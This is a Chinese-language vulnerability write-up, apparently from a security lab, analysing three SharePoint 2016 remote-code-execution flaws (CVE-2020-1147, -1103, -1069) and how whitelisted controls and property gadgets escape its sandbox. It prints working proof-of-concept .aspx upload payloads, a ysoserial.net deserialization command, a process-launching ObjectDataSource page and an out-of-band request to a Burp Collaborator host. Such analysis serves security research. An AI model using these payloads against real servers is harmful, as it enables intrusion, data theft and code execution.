作者:青藤实验室
原文链接:https://mp.weixin.qq.com/s/Z2hDtlsu0zgKY8YWhDBS7g
在 SharePoint Rce 系列分析(一) 里我通过 CVE-2020-0974 展示了利用参数使用不当 bypass 沙箱; 在 SharePoint Rce 系列分析(二) 里通过 CVE-2020-1444 展示了利用服务端处理逻辑不当(TOCTOU) bypass 沙箱;
本文是这个系列的完结篇,将通过三个漏洞,展示如何从 SP 白名单入手挖掘突破口。
CVE-2020-1147:利用白名单类,通过 Asp.Net 处理 DataSet
反序列化不当实现 rce;
CVE-2020-1103:利用读白名单类属性,通过白名单上的类公有属性与继承关系读子属性(read gadgets),直到能读 machineKey;
CVE-2020-1069:利用写白名单类属性,通过白名单上的类公有属性与继承关系写子属性(write gadgets),直到能写用户上传网页文件的 VirtualPath(SP 通过 VirtualPath 判断网页文件来源);
我在之前的系列分析里介绍过 SP 的沙箱模型,把用户上传的网页文件称作被“阉割了一部分功能”。微软出于安全考虑,只允许用户上传的网页文件在实现 Server Control 时引用一部分类,这部分类定义在 web.config 中,简称 SP 白名单。至于 Server Control 是什么,按照我的理解,就是 Asp.Net 提供给开发者的一种前后端数据交互的方式,比如我可以在网页文件中引用服务端定义的类、方法,读写服务端的(公有)类(子)属性。
Server2016
SP2016
dnSpy
在 SP 中,当无法直接从 http 响应中获取我想要的信息时,可以考虑 http out-of-band,具体通过 XmlUrlDataSource
或 SoapDataSource
实现,比如下面是 XmlUrlDataSource
的用法:
PUT /test.aspx HTTP/1.1
<WebPartPages:DataFormWebPart runat="server" Title="REST" DisplayName="REST" ID="rest">
<DataSources>
<SharePoint:XmlUrlDataSource runat="server" AuthType="None" HttpMethod="GET" SelectCommand="http://zrun0o589ksxz108ewi4134nqew7kw.burpcollaborator.net">
<SelectParameters>
<WebPartPages:DataFormParameter Name="test1" ParameterKey="test2" PropertyName="ParameterValues" DefaultValue="xiaoc"/>
</SelectParameters>
</SharePoint:XmlUrlDataSource>
</DataSources>
</WebPartPages:DataFormWebPart>
dnslog 可以看到请求记录
SP 白名单定义在 web.config 的 SafeControl 项中 通过类继承关系,可以像链一样迭代引用子属性来进行读(read gadgets)写(write gadgets)操作,比如:
// A is a white-list class
public class A {
public B b;
}
public class B {
public C c;
}
public class C {
public D d;
}
我可以在上传网页文件中引用 A.b.c.d
进行读写操作。
读写是不同权限的操作,对目标属性的要求也不同,除了 gadgets 的起点需要在白名单中外。对于读操作,只要满足属性是 public
且符合继承关系就可读;对于写操作,除了上述要求,还需要满足 write gadgets 的终点(比如 A.b.c.d
中的 d
)不能被 DesignerSerializationVisibility.Hidden
属性修饰。
用 gadgets 这种方法突破沙箱,是这个议题引用的漏洞列表中反复使用的一种方法,除了 .net,议题的后半部分展示了通过 gadgets 突破各种 java 表达式语言的沙箱。
CVE-2020-1147 的原理很直接,在修复该漏洞之前,如果用 DataSet
或 DataTable
读攻击者完全可控的数据,攻击者可以构造 xml payload 通过反序列化(不是 VIEWSTATE 反序列化)实现 rce。关于这部分的原理、payload 生成步骤可以通过文末参考中的 mr_me 的博客了解详情。
再看这个漏洞,通过白名单类 ContactLinksSuggestionsMicroView
的 PopulateDataSetFromCache
方法,找到了 DataSet
反序列化的用法,这里直接用作者的原图
之后就是根据调用路径去构造满足要求的 payload。
利用漏洞需要发送两次请求。
1)上传 .aspx
PUT /1147.aspx HTTP/1.1
Content-Type: text/xml; charset=utf-8
<%@ Page Language="C#" %>
<%@ Register tagprefix="mst" namespace="Microsoft.SharePoint.Portal.WebControls" assembly="Microsoft.SharePoint.Portal, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<form id="form1" runat="server">
<mst:ContactLinksSuggestionsMicroView id="CLSMW1" runat="server" />
<asp:TextBox ID="__SUGGESTIONSCACHE__" runat="server"></asp:TextBox>
<asp:Button ID="Button1" runat="server" Text="Submit" />
</form>
在浏览器上显示是一个简单的输入框,第二个请求是在这个输入框里提交 payload
2)向 1147.aspx 提交包含 payload 的 postback 请求 构造 payload 也可以分为两步,首先借助 ysoserial.net 生成反序列化 payload
ysoserial.exe -f BinaryFormatter -g DataSet -o base64 -c "calc" -t
构造包含反序列化 payload 的 xml 然后把整个 xml 在 1147.aspx 的输入框中提交就可以看到 calc 进程启动。
CVE-2020-1147 的主要问题不是 ContactLinksSuggestionsMicroView
作为白名单类不合适,而是用 DataSet
反序列化时可以通过输入控制反序列化类型,这在反序列化(经常需要处理不可信数据)的使用场景中肯定是有问题的。因此在安装的了 CVE-2020-1147 的补丁后,DataSet
或者 DataTable
能够反序列化的类型被限制在了一个白名单中,详情可通过参考中的微软官方说明了解。
CVE-2020-1103 利用 read gadgets 实现 rce。在 SP 中,要说从任意读到 rce,很直观地会想到 MachineValidationKey
。作者找到的能读 MachineValidationKey
的 read gadgets 是:
Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]
但是,默认按照安装向导安装的 SP 环境中这个值为空 参考 Nauplius/FarmLaunch 可以知道只有在安装 farm 之前将 unattend.txt 放到
C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\CONFIG\
目录下再安装 farm,SPFarm.InitializationSettings
才不为空。
所以我之后用会另一个属性来证明漏洞存在 对应的 read gadgets 就变成了
Web.Site.WebApplication.Farm.Id
首先执行表达式的地方是 DataBinder.Eval
参考 DataBinder.Eval Method 可以知道 text
可以写成 A.B.C[N].D
这样的表达式,用 text
表达式的执行结果可以获取 control2
对象的任何公有(级联)属性。
通过官方文档给出的用法示例
以及解释
可以知道用 ControlParameter
可以获取提前绑定好值的通知属性,再通俗点解释,就是(用类似 A.B.C[N].D
这样的表达式)可以获取任何 System.Web.UI.Control
子类对象的公有属性。
再看 ControlParameter#Evaluate
的参数流,很容易发现 DataBinder.Eval
的两个参数完全可控
string controlID = this.ControlID;
string text = this.PropertyName;
Control control2 = DataBoundControlHelper.FindControl(control, controlID);
object obj = DataBinder.Eval(control2, text);
分别对应 和
(获取属性的)表达式的构造只需要满足两个条件即可:
1. 作为执行上下文的类必须继承自 System.Web.UI.Control
2. 获取的目标属性必须是 public,当然可以继承自父类
这里用逆推的方式解释比较好理解,首先SPFarm.InitializationSettings
里存储了 MachineValidationKey
,我这里用的是 SPFarm.Id
,接下来就是根据继承关系逆推调用链的过程,直到找到 System.Web.UI.Control
的子类:
// Microsoft.SharePoint.Administration.SPFarm
// SPPersistedObject -> SPPersistedUpgradableObject -> SPFarm
public Guid Id { get; set; }
// Microsoft.SharePoint.Administration.SPPersistedObject
// SPPersistedObject -> SPPersistedUpgradableObject -> SPWebApplication
public Microsoft.SharePoint.Administration.SPFarm Farm { get; }
// Microsoft.SharePoint.SPSite
public Microsoft.SharePoint.Administration.SPWebApplication WebApplication { get; }
// Microsoft.SharePoint.SPWeb
public Microsoft.SharePoint.SPSite Site { get; }
// Microsoft.SharePoint.WebControls.TemplateBasedControl
// Control -> SPControl -> TemplateBasedControl
public virtual Microsoft.SharePoint.SPWeb Web { get; }
下面是获取 Farm.Id
的 dnslog 截图,省略了 PUT 之后的 GET 请求
回顾一下 filter 机制中如何区分受信与非受信 .aspx
可以看出 System.Web.UI.PageParserFilter.VirtualPath
在这里扮演了一个安全标志位的角色。
举个例子,比如 layouts 目录下系统自带的 .aspx
通过 /_layouts/15/xxx.aspx
这样的 path 去访问,而我们上传的 .aspx
比如 PUT /1069.aspx HTTP/1.1
则是直接通过 /1069.aspx
这样的 path 访问,服务端很容易区分,也就方便决定是否启用沙箱。可以设想,假如我把上传的 .aspx
的路径改成了 /_layouts/15/xxx.aspx
,服务端在判断是否启用沙箱时就会把我当成文件系统上的 .aspx
而不是数据库中,这样我上传 .aspx
就不会有任何限制。
通过 VirtualPath
的定义可以发现它只有 getter 没有 setter
当请求上传的 .aspx 时,通过调试可以发现它的值在 Create Method 中完成了赋值
此时的部分调用堆栈
根据作者的介绍 VirtualPath
的值由 AppRelativeVirtualPath
决定,原因没有解释,我从 call stack 中直接唯一一个和 TemplateControl 有关的调用节点:
这个过程基本上是直接的参数传递,所以很明显。
最后一个问题是如何改变 AppRelativeVirtualPath
的值。
先看看出问题的类 WikiContentWebpart
的整体结构:
从继承关系可以看出一直到 object 都没有看到 TemplateControl
,如果能通过 WikiContentWebpart
改变 AppRelativeVirtualPath
,要么是继承,要么是 aop。从这里来看显然不是继承。顺着继承关系往上找,最终在 System.Web.UI.Control
中找到了 Page 属性:
而 Page 是继承自 TemplateControl
另外,Microsoft.SharePoint.WebPartPages.WikiContentWebpart
先这个类在白名单中:
到这里总结一下上面的分析: 通过控制 WikiContentWebpart(白名单) -> 控制 Page 属性(WikiContentWebpart 继承自 control) -> 控制 Page 的 AppRelativeVirtualPath 属性(Page 继承自 TemplateControl) 最终获得控制 VirtualPath 的效果
利用仍然是两步,首先上传 payload
PUT /1069.aspx HTTP/1.1
<%@ Page Language="C#" %>
<head runat="server" />
<form id="f1" runat="server">
<asp:menu id="NavMenu1" runat="server">
<StaticItemTemplate>
<WebPartPages:WikiContentWebpart id="WikiWP1" runat="server" Page-AppRelativeVirtualPath='<%# Eval("ToolTip") %>'>
<content>
<asp:ObjectDataSource ID="DS1" runat="server" SelectMethod="Start" TypeName="system.diagnostics.Process" >
<SelectParameters>
<asp:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="calc"/>
</SelectParameters>
</asp:ObjectDataSource>
<asp:ListBox ID="ListBox1" runat="server" DataSourceID= "DS1"/>
</content>
</WebPartPages:WikiContentWebpart>
</StaticItemTemplate>
<items>
<asp:menuitem text="MenuItem1" ToolTip="/_layouts/15/settings.aspx"/>
</items>
</asp:menu>
</form>
trigger rce
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1456/